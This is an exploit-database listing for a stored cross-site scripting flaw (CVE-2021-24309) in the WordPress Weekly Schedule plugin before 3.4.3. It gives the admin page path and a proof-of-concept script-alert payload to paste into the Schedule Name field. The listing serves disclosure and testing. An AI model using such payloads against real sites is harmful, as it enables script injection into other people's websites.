Sploitus

Exploit for Weekly Schedule < 3.4.3 - Authenticated Stored XSS

CVE-2021-24309

wpexploit · 2021-05-12

Exploit Code

MARKDOWN2 lines
## https://sploitus.com/exploit?id=WPEX-ID:BA1D01DC-16E4-464F-94BE-ED311FF6CCF9
Go to Weekly Schedule -> General Options (/wp-admin/admin.php?page=weekly-schedule) -> Schedule Name -> Fill the field with a payload such as <script>alert(`xss`)</script>